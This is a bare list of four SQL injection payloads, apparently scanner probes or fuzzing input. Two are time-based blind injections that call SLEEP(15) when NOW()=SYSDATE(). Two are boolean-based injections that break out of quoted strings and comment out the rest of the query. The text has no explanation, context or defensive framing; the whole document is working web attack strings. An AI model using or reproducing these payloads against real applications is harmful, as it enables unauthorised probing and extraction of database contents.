MR.0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z

if(now()=sysdate(),sleep(15),0)

-1" OR 2+216-216-1=0+0+0+1 --

-1' OR 2+76-76-1=0+0+0+1 or '3HXAP6SQ'='